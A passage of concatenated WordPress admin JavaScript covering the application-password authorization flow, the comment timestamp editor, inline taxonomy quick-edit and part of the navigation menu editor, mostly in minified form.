			 * action to ensure that both the JS and no-JS variants are handled.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response          The response from the REST API.
			 * @param {string} response.password The newly created password.
			 * @param {string} textStatus        The status of the request.
			 * @param {jqXHR}  jqXHR             The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_success', response, textStatus, jqXHR );

			var raw = authApp.success,
				url, message, $notice;

			if ( raw ) {
				url = raw + ( -1 === raw.indexOf( '?' ) ? '?' : '&' ) +
					'site_url=' + encodeURIComponent( authApp.site_url ) +
					'&user_login=' + encodeURIComponent( authApp.user_login ) +
					'&password=' + encodeURIComponent( response.password );

				window.location = url;
			} else {
				message = wp.i18n.sprintf(
					/* translators: %s: Application name. */
					'<label for="new-application-password-value">' + wp.i18n.__( 'Your new password for %s is:' ) + '</label>',
					'<strong></strong>'
				) + ' <input id="new-application-password-value" type="text" class="code" readonly="readonly" value="" />';
				$notice = $( '<div></div>' )
					.attr( 'role', 'alert' )
					.attr( 'tabindex', -1 )
					.addClass( 'notice notice-success notice-alt' )
					.append( $( '<p></p>' ).addClass( 'application-password-display' ).html( message ) )
					.append( '<p>' + wp.i18n.__( 'Be sure to save this in a safe location. You will not be able to retrieve it.' ) + '</p>' );

				// We're using .text() to write the variables to avoid any chance of XSS.
				$( 'strong', $notice ).text( response.name );
				$( 'input', $notice ).val( response.password );

				$form.replaceWith( $notice );
				$notice.trigger( 'focus' );
			}
		} ).fail( function( jqXHR, textStatus, errorThrown ) {
			var errorMessage = errorThrown,
				error = null;

			if ( jqXHR.responseJSON ) {
				error = jqXHR.responseJSON;

				if ( error.message ) {
					errorMessage = error.message;
				}
			}

			var $notice = $( '<div></div>' )
				.attr( 'role', 'alert' )
				.addClass( 'notice notice-error' )
				.append( $( '<p></p>' ).text( errorMessage ) );

			$( 'h1' ).after( $notice );

			$approveBtn.removeProp( 'aria-disabled', false ).removeClass( 'disabled' );

			/**
			 * Fires when an Authorize Application Password request encountered an error when trying to approve the request.
			 *
			 * @since 5.6.0
			 * @since 5.6.1 Corrected action name and signature.
			 *
			 * @param {Object|null} error       The error from the REST API. May be null if the server did not send proper JSON.
			 * @param {string}      textStatus  The status of the request.
			 * @param {string}      errorThrown The error message associated with the response status code.
			 * @param {jqXHR}       jqXHR       The underlying jqXHR object that made the request.
			 */
			wp.hooks.doAction( 'wp_application_passwords_approve_app_request_error', error, textStatus, errorThrown, jqXHR );
		} );
	} );

	$rejectBtn.on( 'click', function( e ) {
		e.preventDefault();

		/**
		 * Fires when an Authorize Application Password request has been rejected by the user.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} context            Context about the Application Password request.
		 * @param {string} context.userLogin  The user's login username.
		 * @param {string} context.successUrl The URL the user will be redirected to after approving the request.
		 * @param {string} context.rejectUrl  The URL the user will be redirected to after rejecting the request.
		 */
		wp.hooks.doAction( 'wp_application_passwords_reject_app', context );

		// @todo: Make a better way to do this so it feels like less of a semi-open redirect.
		window.location = authApp.reject;
	} );

	$form.on( 'submit', function( e ) {
		e.preventDefault();
	} );
}( jQuery, authApp ) );
/*! This file is auto-generated */
jQuery(function(m){postboxes.add_postbox_toggles("comment");var d=m("#timestampdiv"),o=m("#timestamp"),a=o.html(),v=d.find(".timestamp-wrap"),c=d.siblings("a.edit-timestamp");c.on("click",function(e){d.is(":hidden")&&(d.slideDown("fast",function(){m("input, select",v).first().trigger("focus")}),m(this).hide()),e.preventDefault()}),d.find(".cancel-timestamp").on("click",function(e){c.show().trigger("focus"),d.slideUp("fast"),m("#mm").val(m("#hidden_mm").val()),m("#jj").val(m("#hidden_jj").val()),m("#aa").val(m("#hidden_aa").val()),m("#hh").val(m("#hidden_hh").val()),m("#mn").val(m("#hidden_mn").val()),o.html(a),e.preventDefault()}),d.find(".save-timestamp").on("click",function(e){var a=m("#aa").val(),t=m("#mm").val(),i=m("#jj").val(),s=m("#hh").val(),l=m("#mn").val(),n=new Date(a,t-1,i,s,l);e.preventDefault(),n.getFullYear()!=a||1+n.getMonth()!=t||n.getDate()!=i||n.getMinutes()!=l?v.addClass("form-invalid"):(v.removeClass("form-invalid"),o.html(wp.i18n.__("Submitted on:")+" <b>"+wp.i18n.__("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",m('option[value="'+t+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(i,10)).replace("%3$s",a).replace("%4$s",("00"+s).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),c.show().trigger("focus"),d.slideUp("fast"))})});/*! This file is auto-generated */
window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp);/*! This file is auto-generated */
!function(k){var I=window.wpNavMenu={options:{menuItemDepthPerLevel:30,globalMaxDepth:11,sortableItems:"> *",targetTolerance:0},menuList:void 0,targetList:void 0,menusChanged:!1,isRTL:!("undefined"==typeof isRtl||!isRtl),negateIfRTL:"undefined"!=typeof isRtl&&isRtl?-1:1,lastSearch:"",init:function(){I.menuList=k("#menu-to-edit"),I.targetList=I.menuList,this.jQueryExtensions(),this.attachMenuEditListeners(),this.attachBulkSelectButtonListeners(),this.attachMenuCheckBoxListeners(),this.attachMenuItemDeleteButton(),this.attachPendingMenuItemsListForDeletion(),this.attachQuickSearchListeners(),this.attachThemeLocationsListeners(),this.attachMenuSaveSubmitListeners(),this.attachTabsPanelListeners(),this.attachUnsavedChangesListener(),I.menuList.length&&this.initSortables(),menus.oneThemeLocationNoMenus&&k("#posttype-page").addSelectedToMenu(I.addMenuItemToBottom),this.initManageLocations(),this.initAccessibility(),this.initToggles(),this.initPreviewing()},jQueryExtensions:function(){k.fn.extend({menuItemDepth:function(){var e=I.isRTL?this.eq(0).css("margin-right"):this.eq(0).css("margin-left");return I.pxToDepth(e&&-1!=e.indexOf("px")?e.slice(0,-2):0)},updateDepthClass:function(t,n){return this.each(function(){var e=k(this);n=n||e.menuItemDepth(),k(this).removeClass("menu-item-depth-"+n).addClass("menu-item-depth-"+t)})},shiftDepthClass:function(i){return this.each(function(){var e=k(this),t=e.menuItemDepth(),n=t+i;e.removeClass("menu-item-depth-"+t).addClass("menu-item-depth-"+n),0===n&&e.find(".is-submenu").hide()})},childMenuItems:function(){var i=k();return this.each(function(){for(var e=k(this),t=e.menuItemDepth(),n=e.next(".menu-item");n.length&&n.menuItemDepth()>t;)i=i.add(n),n=n.next(".menu-item")}),i},shiftHorizontally:function(n){return this.each(function(){var e=k(this),t=e.menuItemDepth();e.moveHorizontally(t+n,t)})},moveHorizontally:function(a,s){return this.each(function(){var e=k(this),t=e.childMenuItems(),n=a-s,i=e.find(".is-submenu");e.updateDepthClass(a,s).updateParentMenuItemDBId(),t&&t.each(function(){var e=k(this),t=e.menuItemDepth();e.updateDepthClass(t+n,t).updateParentMenuItemDBId()}),0===a?i.hide():i.show()})},updateParentMenuItemDBId:function(){return this.each(function(){var e=k(this),t=e.find(".menu-item-data-parent-id"),n=parseInt(e.menuItemDepth(),10),e=e.prevAll(".menu-item-depth-"+(n-1)).first();0===n?t.val(0):t.val(e.find(".menu-item-data-db-id").val())})},hideAdvancedMenuItemFields:function(){return this.each(function(){var e=k(this);k(".hide-column-tog").not(":checked").each(function(){e.find(".field-"+k(this).val()).addClass("hidden-field")})})},addSelectedToMenu:function(a){return 0!==k("#menu-to-edit").length&&this.each(function(){var e=k(this),n={},t=menus.oneThemeLocationNoMenus&&0===e.find(".tabs-panel-active .categorychecklist li input:checked").length?e.find('#page-all li input[type="checkbox"]'):e.find(".tabs-panel-active .categorychecklist li input:checked"),i=/menu-item\[([^\]]*)/;if(a=a||I.addMenuItemToBottom,!t.length)return!1;e.find(".button-controls .spinner").addClass("is-active"),k(t).each(function(){var e=k(this),t=i.exec(e.attr("name")),t=void 0===t[1]?0:parseInt(t[1],10);this.className&&-1!=this.className.indexOf("add-to-top")&&(a=I.addMenuItemToTop),n[t]=e.closest("li").getItemData("add-menu-item",t)}),I.addItemToMenu(n,a,function(){t.prop("checked",!1),e.find(".button-controls .select-all").prop("checked",!1),e.find(".button-controls .spinner").removeClass("is-active")})})},getItemData:function(t,n){t=t||"menu-item";var i,a={},s=["menu-item-db-id","menu-item-object-id","menu-item-object","menu-item-parent-id","menu-item-position","menu-item-type","menu-item-title","menu-item-url","menu-item-description","menu-item-attr-title","menu-item-target","menu-item-classes","menu-item-xfn"];return(n=n||"menu-item"!=t?n:this.find(".menu-item-data-db-id").val())&&this.find("input").each(function(){var e;for(i=s.length;i--;)"menu-item"==t?e=s[i]+"["+n+"]":"add-menu-item"==t&&(e="menu-item["+n+"]["+s[i]+"]"),this.name&&e==this.name&&(a[s[i]]=this.value)}),a},setItemData:function(e,a,s){return a=a||"menu-item",(s=s||"menu-item"!=a?s:k(".menu-item-data-db-id",this).val())&&this.find("input").each(function(){var n,i=k(this);k.each(e,function(e,t){"menu-item"==a?n=e+"["+s+"]":"add-menu-item"==a&&(n="menu-item["+s+"]["+e+"]"),n==i.attr("name")&&i.val(t)})}),this}})},countMenuItems:function(e){return k(".menu-item-depth-"+e).length},moveMenuItem:function(e,t){var n,i,a=k("#menu-to-edit li"),s=a.length,m=e.parents("li.menu-item"),o=m.childMenuItems(),u=m.getItemData(),c=parseInt(m.menuItemDepth(),10),l=parseInt(m.index(),10),d=m.next(),r=d.childMenuItems(),h=parseInt(d.menuItemDepth(),10)+1,p=m.prev(),f=parseInt(p.menuItemDepth(),10),v=p.getItemData()["menu-item-db-id"],p=menus["moved"+t.charAt(0).toUpperCase()+t.slice(1)];switch(t){case"up":i=l-1,0!==l&&(0==i&&0!==c&&m.moveHorizontally(0,c),0!==f&&m.moveHorizontally(f,c),(o?n=m.add(o):m).detach().insertBefore(a.eq(i)).updateParentMenuItemDBId());break;case"down":if(o){if(n=m.add(o),(r=0!==(d=a.eq(n.length+l)).childMenuItems().length)&&(i=parseInt(d.menuItemDepth(),10)+1,m.moveHorizontally(i,c)),s===l+n.length)break;n.detach().insertAfter(a.eq(l+n.length)).updateParentMenuItemDBId()}else{if(0!==r.length&&m.moveHorizontally(h,c),s===l+1)break;m.detach().insertAfter(a.eq(l+1)).updateParentMenuItemDBId()}break;case"top":0!==l&&(o?n=m.add(o):m).detach().insertBefore(a.eq(0)).updateParentMenuItemDBId();break;case"left":0!==c&&m.shiftHorizontally(-1);break;case"right":0!==l&&u["menu-item-parent-id"]!==v&&m.shiftHorizontally(1)}e.trigger("focus"),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),p&&wp.a11y.speak(p)},initAccessibility:function(){var e=k("#menu-to-edit");I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){I.refreshAdvancedAccessibilityOfItem(k(this).find("a.item-edit"))}),e.on("click","a.item-edit",function(){I.refreshAdvancedAccessibilityOfItem(k(this))}),e.on("click",".menus-move",function(){var e=k(this).data("dir");void 0!==e&&I.moveMenuItem(k(this).parents("li.menu-item").find("a.item-edit"),e)})},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,s,m,o,u,c,l,d,r;!0===k(e).data("needs_accessibility_refresh")&&(m=0===(s=(a=(e=k(e)).closest("li.menu-item").first()).menuItemDepth()),o=e.closest(".menu-item-handle").find(".menu-item-title").text(),u=parseInt(a.index(),10),c=m?s:parseInt(s-1,10),c=a.prevAll(".menu-item-depth-"+c).first().find(".menu-item-title").text(),l=a.prevAll(".menu-item-depth-"+s).first().find(".menu-item-title").text(),d=k("#menu-to-edit li").length,r=a.nextAll(".menu-item-depth-"+s).length,a.find(".field-move").toggle(1<d),0!==u&&(i=a.find(".menus-move-up")).attr("aria-label",menus.moveUp).css("display","inline"),0!==u&&m&&(i=a.find(".menus-move-top")).attr("aria-label",menus.moveToTop).css("display","inline"),u+1!==d&&0!==u&&(i=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),0===u&&0!==r&&(i=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),m||(i=a.find(".menus-move-left"),n=menus.outFrom.replace("%s",c),i.attr("aria-label",menus.moveOutFrom.replace("%s",c)).text(n).css("display","inline")),0!==u&&a.find(".menu-item-data-parent-id").val()!==a.prev().find(".menu-item-data-db-id").val()&&(i=a.find(".menus-move-right"),n=menus.under.replace("%s",l),i.attr("aria-label",menus.moveUnder.replace("%s",l)).text(n).css("display","inline")),n=m?(t=(r=k(".menu-item-depth-0")).index(a)+1,d=r.length,menus.menuFocus.replace("%1$s",o).replace("%2$d",t).replace("%3$d",d)):(u=(c=a.prevAll(".menu-item-depth-"+parseInt(s-1,10)).first()).find(".menu-item-data-db-id").val(),i=c.find(".menu-item-title").text(),l=k('.menu-item .menu-item-data-parent-id[value="'+u+'"]'),t=k(l.parents(".menu-item").get().reverse()).index(a)+1,menus.subMenuFocus.replace("%1$s",o).replace("%2$d",t).replace("%3$s",i)),e.attr("aria-label",n),e.data("needs_accessibility_refresh",!1))},refreshAdvancedAccessibility:function(){k(".menu-item-settings .field-move .menus-move").hide(),k("a.item-edit").data("needs_accessibility_refresh",!0),k(".menu-item-edit-active a.item-edit").each(function(){I.refreshAdvancedAccessibilityOfItem(this)})},refreshKeyboardAccessibility:function(){k("a.item-edit").off("focus").on("focus",function(){k(this).off("keydown").on("keydown",function(e){var t,n=k(this),i=n.parents("li.menu-item").getItemData();if((37==e.which||38==e.which||39==e.which||40==e.which)&&(n.off("keydown"),1!==k("#menu-to-edit li").length)){switch(t={38:"up",40:"down",37:"left",39:"right"},(t=k("body").hasClass("rtl")?{38:"up",40:"down",39:"left",37:"right"}:t)[e.which]){case"up":I.moveMenuItem(n,"up");break;case"down":I.moveMenuItem(n,"down");break;case"left":I.moveMenuItem(n,"left");break;case"right":I.moveMenuItem(n,"right")}return k("#edit-"+i["menu-item-db-id"]).trigger("focus"),!1}})})},initPreviewing:function(){k("#menu-to-edit").on("change input",".edit-menu-item-title",function(e){var e=k(e.currentTarget),t=e.val(),e=e.closest(".menu-item").find(".menu-item-title");t?e.text(t).removeClass("no-title"):e.text(wp.i18n._x("(no label)","missing menu item navigation label")).addClass("no-title")})},initToggles:function(){postboxes.add_postbox_toggles("nav-menus"),columns.useCheckboxesForHidden(),columns.checked=function(e){k(".field-"+e).removeClass("hidden-field")},columns.unchecked=function(e){k(".field-"+e).addClass("hidden-field")},I.menuList.hideAdvancedMenuItemFields(),k(".hide-postbox-tog").on("click",function(){var e=k(".accordion-container li.accordion-section").filter(":hidden").map(function(){return this.id}).get().join(",");k.post(ajaxurl,{action:"closed-postboxes",hidden:e,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:"nav-menus"})})},initSortables:function(){var m,a,s,n,o,u,c,l,d,r,e,h=0,p=I.menuList.offset().left,f=k("body"),v=f[0].className&&(e=f[0].className.match(/menu-max-depth-(\d+)/))&&e[1]?parseInt(e[1],10):0;function g(e){n=e.placeholder.prev(".menu-item"),o=e.placeholder.next(".menu-item"),n[0]==e.item[0]&&(n=n.prev(".menu-item")),o[0]==e.item[0]&&(o=o.next(".menu-item")),u=n.length?n.offset().top+n.height():0,c=o.length?o.offset().top+o.height()/3:0,a=o.length?o.menuItemDepth():0,s=n.length?(e=n.menuItemDepth()+1)>I.options.globalMaxDepth?I.options.globalMaxDepth:e:0}function b(e,t){e.placeholder.updateDepthClass(t,h),h=t}0!==k("#menu-to-edit li").length&&k(".drag-instructions").show(),p+=I.isRTL?I.menuList.width():0,I.menuList.sortable({handle:".menu-item-handle",placeholder:"sortable-placeholder",items:I.options.sortableItems,start:function(e,t){var n,i;I.isRTL&&(t.item[0].style.right="auto"),d=t.item.children(".menu-item-transport"),m=t.item.menuItemDepth(),b(t,m),i=(t.item.next()[0]==t.placeholder[0]?t.item.next():t.item).childMenuItems(),d.append(i),n=d.outerHeight(),n=(n+=0<n?+t.placeholder.css("margin-top").slice(0,-2):0)+t.helper.outerHeight(),l=n,t.placeholder.height(n-=2),r=m,i.each(function(){var e=k(this).menuItemDepth();r=r<e?e:r}),n=t.helper.find(".menu-item-handle").outerWidth(),n+=I.depthToPx(r-m),t.placeholder.width(n-=2),(i=t.placeholder.next(".menu-item")).css("margin-top",l+"px"),t.placeholder.detach(),k(this).sortable("refresh"),t.item.after(t.placeholder),i.css("margin-top",0),g(t)},stop:function(e,t){var n=h-m,i=d.children().insertAfter(t.item),a=t.item.find(".item-title .is-submenu");if(0<h?a.show():a.hide(),0!=n){t.item.updateDepthClass(h),i.shiftDepthClass(n);var a=n,s=v;if(0!==a){if(0<a)v<(i=r+a)&&(s=i);else if(a<0&&r==v)for(;!k(".menu-item-depth-"+s,I.menuList).length&&0<s;)s--;f.removeClass("menu-max-depth-"+v).addClass("menu-max-depth-"+s),v=s}}I.registerChange(),t.item.updateParentMenuItemDBId(),t.item[0].style.top=0,I.isRTL&&(t.item[0].style.left="auto",t.item[0].style.right=0),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility()},change:function(e,t){t.placeholder.parent().hasClass("menu")||(n.length?n.after(t.placeholder):I.menuList.prepend(t.placeholder)),g(t)},sort:function(e,t){var n=t.helper.offset(),i=I.isRTL?n.left+t.helper.width():n.left,i=I.negateIfRTL*I.pxToDepth(i-p);s<i||n.top<u-I.options.targetTolerance?i=s:i<a&&(i=a),i!=h&&b(t,i),c&&n.top+l>c&&(o.after(t.placeholder),g(t),k(this).sortable("refreshPositions"))}})},initManageLocations:function(){k("#menu-locations-wrap form").on("submit",function(){window.onbeforeunload=null}),k(".menu-location-menus select").on("change",function(){var e=k(this).closest("tr").find(".locations-edit-menu-link");k(this).find("option:selected").data("orig")?e.show():e.hide()})},attachMenuEditListeners:function(){var t=this;k("#update-nav-menu").on("click",function(e){if(e.target&&e.target.className)return-1!=e.target.className.indexOf("item-edit")?t.eventOnClickEditLink(e.target):-1!=e.target.className.indexOf("menu-save")?t.eventOnClickMenuSave(e.target):-1!=e.target.className.indexOf("menu-delete")?t.eventOnClickMenuDelete(e.target):-1!=e.target.className.indexOf("item-delete")?t.eventOnClickMenuItemDelete(e.target):-1!=e.target.className.indexOf("item-cancel")?t.eventOnClickCancelLink(e.target):void 0}),k("#menu-name").on("input",_.debounce(function(){var e=k(document.getElementById("menu-name")),t=e.val();t&&t.replace(/\s+/,"")?e.parent().removeClass("form-invalid"):e.parent().addClass("form-invalid")},500)),k('#add-custom-links input[type="text"]').on("keypress",function(e){k("#customlinkdiv").removeClass("form-invalid"),13===e.keyCode&&(e.preventDefault(),k("#submit-customlinkdiv").trigger("click"))})},attachBulkSelectButtonListeners:function(){var e=this;k(".bulk-select-switcher").on("change",function(){this.checked?(k(".bulk-select-switcher").prop("checked",!0),e.enableBulkSelection()):(k(".bulk-select-switcher").prop("checked",!1),e.disableBulkSelection())})},enableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").addClass("bulk-selection"),k("#nav-menu-bulk-actions-top").addClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").addClass("bulk-selection"),k.each(e,function(){k(this).prop("disabled",!1)})},disableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-top").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").removeClass("bulk-selection"),k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')&&k(".menu-items-delete").removeAttr("aria-describedby"),k.each(e,function(){k(this).prop("disabled",!0).prop("checked",!1)}),k(".menu-items-delete").addClass("disabled"),k("#pending-menu-items-to-delete ul").empty()},attachMenuCheckBoxListeners:function(){var e=this;k("#menu-to-edit").on("change",".menu-item-checkbox",function(){e.setRemoveSelectedButtonStatus()})},attachMenuItemDeleteButton:function(){var t=this;k(document).on("click",".menu-items-delete",function(e){var n,i;e.preventDefault(),k(this).hasClass("disabled")||(k.each(k(".menu-item-checkbox:checked"),function(e,t){k(t).parents("li").find("a.item-delete").trigger("click")}),k(".menu-items-delete").addClass("disabled"),k(".bulk-select-switcher").prop("checked",!1),n="",i=k("#pending-menu-items-to-delete ul li"),k.each(i,function(e,t){t=k(t).find(".pending-menu-item-name").text(),t=menus.menuItemDeletion.replace("%s",t);n+=t,e+1<i.length&&(n+=", ")}),e=menus.itemsDeleted.replace("%s",n),wp.a11y.speak(e,"polite"),t.disableBulkSelection())})},attachPendingMenuItemsListForDeletion:function(){k("#post-body-content").on("change",".menu-item-checkbox",function(){var e,t,n,i;k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')||k(".menu-items-delete").attr("aria-describedby","pending-menu-items-to-delete"),e=k(this).next().text(),t=k(this).parent().next(".item-controls").find(".item-type").text(),n=k(this).attr("data-menu-item-id"),0<(i=k("#pending-menu-items-to-delete ul").find("[data-menu-item-id="+n+"]")).length&&i.remove(),!0===this.checked&&k("#pending-menu-items-to-delete ul").append('<li data-menu-item-id="'+n+'"><span class="pending-menu-item-name">'+e+'</span> <span class="pending-menu-item-type">('+t+')</span><span class="separator"></span></li>'),k("#pending-menu-items-to-delete li .separator").html(", "),k("#pending-menu-items-to-delete li .separator").last().html(".")})},setBulkDeleteCheckboxStatus:function(){var e=k("#menu-to-edit .menu-item-checkbox");k.each(e,function(){k(this).prop("disabled")?k(this).prop("disabled",!1):k(this).prop("disabled",!0),k(this).is(":checked")&&k(this).prop("checked",!1)}),this.setRemoveSelectedButtonStatus()},setRemoveSelectedButtonStatus:function(){var e=k(".menu-items-delete");0<k(".menu-item-checkbox:checked").length?e.removeClass("disabled"):e.addClass("disabled")},attachMenuSaveSubmitListeners:function(){k("#update-nav-menu").on("submit",function(){var e=k("#update-nav-menu").serializeArray();k('[name="nav-menu-data"]').val(JSON.stringify(e))})},attachThemeLocationsListeners:function(){var e=k("#nav-menu-theme-locations"),t={action:"menu-locations-save"};t["menu-settings-column-nonce"]=k("#menu-settings-column-nonce").val(),e.find('input[type="submit"]').on("click",function(){return e.find("select").each(function(){t[this.name]=k(this).val()}),e.find(".spinner").addClass("is-active"),k.post(ajaxurl,t,function(){e.find(".spinner").removeClass("is-active")}),!1})},attachQuickSearchListeners:function(){var t;k("#nav-menu-meta").on("submit",function(e){e.preventDefault()}),k("#nav-menu-meta").on("input",".quick-search",function(){var e=k(this);e.attr("autocomplete","off"),t&&clearTimeout(t),t=setTimeout(function(){I.updateQuickSearchResults(e)},500)}).on("blur",".quick-search",function(){I.lastSearch=""})},updateQuickSearchResults:function(e){var t,n,i=e.val();i.length<2||I.lastSearch==i||(I.lastSearch=i,t=e.parents(".tabs-panel"),n={action:"menu-quick-search","response-format":"markup",menu:k("#menu").val(),"menu-settings-column-nonce":k("#menu-settings-column-nonce").val(),q:i,type:e.attr("name")},k(".spinner",t).addClass("is-active"),k.post(ajaxurl,n,function(e){I.processQuickSearchQueryResponse(e,n,t)}))},addCustomLink:function(e){var t=k("#custom-menu-item-url").val().toString(),n=k("#custom-menu-item-name").val();if(""!==t&&(t=t.trim()),e=e||I.addMenuItemToBottom,""===t||"https://"==t||"http://"==t)return k("#customlinkdiv").addClass("form-invalid"),!1;k(".customlinkdiv .spinner").addClass("is-active"),this.addLinkToMenu(t,n,e,function(){k(".customlinkdiv .spinner").removeClass("is-active"),k("#custom-menu-item-name").val("").trigger("blur"),k("#custom-menu-item-url").val("").attr("placeholder","https://")})},addLinkToMenu:function(e,t,n,i){n=n||I.addMenuItemToBottom,I.addItemToMenu({"-1":{"menu-item-type":"custom","menu-item-url":e,"menu-item-title":t}},n,i=i||function(){})},addItemToMenu:function(e,n,i){var a,t=k("#menu").val(),s=k("#menu-settings-column-nonce").val();n=n||function(){},i=i||function(){},a={action:"add-menu-item",menu:t,"menu-settings-column-nonce":s,"menu-item":e},k.post(ajaxurl,a,function(e){var t=k("#menu-instructions");e=(e=e||"").toString().trim(),n(e,a),k("li.pending").hide().fadeIn("slow"),k(".drag-instructions").show(),!t.hasClass("menu-instructions-inactive")&&t.siblings().length&&t.addClass("menu-instructions-inactive"),i()})},addMenuItemToBottom:function(e){e=k(e);e.hideAdvancedMenuItemFields().appendTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},addMenuItemToTop:function(e){e=k(e);e.hideAdvancedMenuItemFields().prependTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},attachUnsavedChangesListener:function(){k("#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select").on("change",function(){I.registerChange()}),0!==k("#menu-to-edit").length||0!==k(".menu-location-menus select").length?window.onbeforeunload=function(){if(I.menusChanged)return wp.i18n.__("The changes you made will be lost if you navigate away from this page.")}:k("#menu-settings-column").find("input,select").end().find("a").attr("href","#").off("click")},registerChange:function(){I.menusChanged=!0},attachTabsPanelListeners:function(){k("#menu-settings-column").on("click",function(e){var t,n,i,a,s=k(e.target);if(s.hasClass("nav-tab-link"))n=s.data("type"),i=s.parents(".accordion-section-content").first(),k("input",i).prop("checked",!1),k(".tabs-panel-active",i).removeClass("tabs-panel-active").addClass("tabs-panel-inactive"),k("#"+n,i).removeClass("tabs-panel-inactive").addClass("tabs-panel-active"),k(".tabs",i).removeClass("tabs"),s.parent().addClass("tabs"),k(".quick-search",i).trigger("focus"),i.find(".tabs-panel-active .menu-item-title").length?i.removeClass("has-no-menu-item"):i.addClass("has-no-menu-item"),e.preventDefault();else if(s.hasClass("select-all"))(t=s.closest(".button-controls").data("items-type"))&&((a=k("#"+t+" .tabs-panel-active .menu-item-title input")).length!==a.filter(":checked").length||s.is(":checked")?s.is(":checked")&&a.prop("checked",!0):a.prop("checked",!1));else if(s.hasClass("menu-item-checkbox"))(t=s.closest(".tabs-panel-active").parent().attr("id"))&&(a=k("#"+t+" .tabs-panel-active .menu-item-title input"),n=k('.button-controls[data-items-type="'+t+'"] .select-all'),a.length!==a.filter(":checked").length||n.is(":checked")?n.is(":checked")&&n.prop("checked",!1):n.prop("checked",!0));else if(s.hasClass("submit-add-to-menu"))return I.registerChange(),e.target.id&&"submit-customlinkdiv"==e.target.id?I.addCustomLink(I.addMenuItemToBottom):e.target.id&&-1!=e.target.id.indexOf("submit-")&&k("#"+e.target.id.replace(/submit-/,"")).addSelectedToMenu(I.addMenuItemToBottom),!1}),k("#nav-menu-meta").on("click","a.page-numbers",function(){var n=k(this).closest(".inside");return k.post(ajaxurl,this.href.replace(/.*\?/,"").replace(/action=([^&]*)/,"")+"&action=menu-get-metabox",function(e){var t=JSON.parse(e);-1!==e.indexOf("replace-id")&&(e=document.getElementById(t["replace-id"]),t.markup)&&e&&n.html(t.markup)}),!1})},eventOnClickEditLink:function(e){var 